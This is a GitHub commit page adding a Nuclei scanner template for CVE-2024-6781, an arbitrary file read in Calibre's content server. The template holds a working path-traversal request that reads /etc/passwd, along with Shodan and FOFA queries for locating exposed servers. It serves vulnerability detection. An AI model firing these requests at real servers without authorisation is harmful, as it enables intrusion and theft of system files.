-
Notifications
You must be signed in to change notification settings - Fork 2.7k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #10430 from projectdiscovery/CVE-2024-6781
Create CVE-2024-6781.yaml
- Loading branch information
Showing
1 changed file
with
55 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
id: CVE-2024-6781 | ||
|
||
info: | ||
name: Calibre <= 7.14.0 Arbitrary File Read | ||
author: DhiyaneshDK | ||
severity: high | ||
description: | | ||
Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0. | ||
reference: | ||
- https://starlabs.sg/advisories/24/24-6781/ | ||
metadata: | ||
shodan-query: html:"Calibre" | ||
fofa-query: "Server: calibre" | ||
verified: true | ||
max-requeset: 1 | ||
tags: cve,cve2024,calibre,lfi | ||
|
||
http: | ||
- raw: | ||
- | | ||
GET /interface-data/books-init HTTP/1.1 | ||
Host: {{Hostname}} | ||
extractors: | ||
- type: json | ||
name: book_ids | ||
internal: true | ||
json: | ||
- '.search_result.book_ids[0]' | ||
|
||
- raw: | ||
- | | ||
POST /cdb/cmd/export HTTP/1.1 | ||
Host: {{Hostname}} | ||
Content-Type: application/json | ||
["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""] | ||
matchers-condition: and | ||
matchers: | ||
- type: word | ||
part: content_type | ||
words: | ||
- "application/json" | ||
|
||
- type: regex | ||
part: body | ||
regex: | ||
- 'root:.*:0:0:' | ||
- '"result":' | ||
condition: and | ||
|
||
- type: status | ||
status: | ||
- 200 |